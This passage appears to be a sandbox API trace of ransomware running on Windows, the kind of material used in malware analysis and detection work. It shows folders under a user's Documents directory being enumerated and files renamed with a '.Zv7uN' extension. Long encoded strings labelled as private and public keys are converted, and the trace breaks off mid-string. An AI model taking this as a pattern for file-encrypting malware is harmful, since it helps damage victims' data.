ftCreationTime.dwHighDateTime=0x1d5e5c1, ftLastAccessTime.dwLowDateTime=0x9b3f670, ftLastAccessTime.dwHighDateTime=0x1d5e524, ftLastWriteTime.dwLowDateTime=0x52d97820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x88c1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="vvHLRrn4vyqF-1i1p.pdf.Zv7uN", cAlternateFileName="VVHLRR~1.ZV7")) returned 1 [0088.888] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.889] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e8781b0, ftCreationTime.dwHighDateTime=0x1d5e158, ftLastAccessTime.dwLowDateTime=0xb5f796a0, ftLastAccessTime.dwHighDateTime=0x1d5e22f, ftLastWriteTime.dwLowDateTime=0x52de3ae0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1186a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_ kJbX69.ppt.Zv7uN", cAlternateFileName="_KJBX6~1.ZV7")) returned 1 [0088.889] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.889] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x367f0610, ftCreationTime.dwHighDateTime=0x1d5e26b, ftLastAccessTime.dwLowDateTime=0xbcebdad0, ftLastAccessTime.dwHighDateTime=0x1d5dd0b, ftLastWriteTime.dwLowDateTime=0xbcebdad0, ftLastWriteTime.dwHighDateTime=0x1d5dd0b, nFileSizeHigh=0x0, nFileSizeLow=0xe226, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_XVFyuqaJA4MHES.odt", cAlternateFileName="_XVFYU~1.ODT")) returned 1 [0088.889] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.889] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x367f0610, ftCreationTime.dwHighDateTime=0x1d5e26b, ftLastAccessTime.dwLowDateTime=0xbcebdad0, ftLastAccessTime.dwHighDateTime=0x1d5dd0b, ftLastWriteTime.dwLowDateTime=0xbcebdad0, ftLastWriteTime.dwHighDateTime=0x1d5dd0b, nFileSizeHigh=0x0, nFileSizeLow=0xe226, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_XVFyuqaJA4MHES.odt", cAlternateFileName="_XVFYU~1.ODT")) returned 0 [0088.889] GetLastError () returned 0x12 [0088.889] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x410778e0, ftCreationTime.dwHighDateTime=0x1d5e46b, ftLastAccessTime.dwLowDateTime=0xfea2e9f0, ftLastAccessTime.dwHighDateTime=0x1d5de05, ftLastWriteTime.dwLowDateTime=0x52c1aa60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x169a9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="vUCHxYZhOfXC.rtf.Zv7uN", cAlternateFileName="VUCHXY~1.ZV7")) returned 1 [0088.889] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.889] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a37570, ftCreationTime.dwHighDateTime=0x1d5e7d9, ftLastAccessTime.dwLowDateTime=0xe6acb900, ftLastAccessTime.dwHighDateTime=0x1d5e2a8, ftLastWriteTime.dwLowDateTime=0x52c40bc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xce24, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_sTXIMggYSPV.pdf.Zv7uN", cAlternateFileName="_STXIM~1.ZV7")) returned 1 [0088.889] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.889] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.890] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a37570, ftCreationTime.dwHighDateTime=0x1d5e7d9, ftLastAccessTime.dwLowDateTime=0xe6acb900, ftLastAccessTime.dwHighDateTime=0x1d5e2a8, ftLastWriteTime.dwLowDateTime=0x52c40bc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xce24, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_sTXIMggYSPV.pdf.Zv7uN", cAlternateFileName="_STXIM~1.ZV7")) returned 0 [0088.890] GetLastError () returned 0x12 [0088.890] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0088.890] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa811e210, ftCreationTime.dwHighDateTime=0x1d5e0be, ftLastAccessTime.dwLowDateTime=0x13517640, ftLastAccessTime.dwHighDateTime=0x1d5e622, ftLastWriteTime.dwLowDateTime=0x13517640, ftLastWriteTime.dwHighDateTime=0x1d5e622, nFileSizeHigh=0x0, nFileSizeLow=0x22a1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="J-v2Kn6wrqYZ8FKCS0WZ.ots", cAlternateFileName="J-V2KN~1.OTS")) returned 1 [0088.890] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.890] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.890] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2bdb60, ftCreationTime.dwHighDateTime=0x1d5de96, ftLastAccessTime.dwLowDateTime=0xdcc46410, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0x52ae9f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x25e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="mSDpfr6aM.pps.Zv7uN", cAlternateFileName="MSDPFR~1.ZV7")) returned 1 [0088.890] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.890] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.890] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47b357e0, ftCreationTime.dwHighDateTime=0x1d5df93, ftLastAccessTime.dwLowDateTime=0x703ea1c0, ftLastAccessTime.dwHighDateTime=0x1d5e3bb, ftLastWriteTime.dwLowDateTime=0x703ea1c0, ftLastWriteTime.dwHighDateTime=0x1d5e3bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="STLq6DOc", cAlternateFileName="")) returned 1 [0088.890] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.890] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.890] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47b357e0, ftCreationTime.dwHighDateTime=0x1d5df93, ftLastAccessTime.dwLowDateTime=0x703ea1c0, ftLastAccessTime.dwHighDateTime=0x1d5e3bb, ftLastWriteTime.dwLowDateTime=0x703ea1c0, ftLastWriteTime.dwHighDateTime=0x1d5e3bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0088.891] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47b357e0, ftCreationTime.dwHighDateTime=0x1d5df93, ftLastAccessTime.dwLowDateTime=0x703ea1c0, ftLastAccessTime.dwHighDateTime=0x1d5e3bb, ftLastWriteTime.dwLowDateTime=0x703ea1c0, ftLastWriteTime.dwHighDateTime=0x1d5e3bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.891] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x759ff320, ftCreationTime.dwHighDateTime=0x1d5e277, ftLastAccessTime.dwLowDateTime=0x2a6aeb10, ftLastAccessTime.dwHighDateTime=0x1d5e1e8, ftLastWriteTime.dwLowDateTime=0x2a6aeb10, ftLastWriteTime.dwHighDateTime=0x1d5e1e8, nFileSizeHigh=0x0, nFileSizeLow=0x1677d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7nadXsUY.pptx", cAlternateFileName="7NADXS~1.PPT")) returned 1 [0088.891] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0088.891] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\7nadXsUY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\7nadxsuy.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x759ff320, ftCreationTime.dwHighDateTime=0x1d5e277, ftLastAccessTime.dwLowDateTime=0x2a6aeb10, ftLastAccessTime.dwHighDateTime=0x1d5e1e8, ftLastWriteTime.dwLowDateTime=0x2a6aeb10, ftLastWriteTime.dwHighDateTime=0x1d5e1e8, nFileSizeHigh=0x0, nFileSizeLow=0x1677d)) returned 1 [0088.891] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\7nadXsUY.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\stlq6doc\\7nadxsuy.pptx")) returned 0x20 [0088.891] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\STLq6DOc\\7nadXsUY.pptx", dwFileAttributes=0x80) returned 1 [0088.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.896] GetCurrentThreadId () returned 0xa30 [0088.896] GetCurrentThreadId () returned 0xa30 [0088.896] GetCurrentThreadId () returned 0xa30 [0088.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxN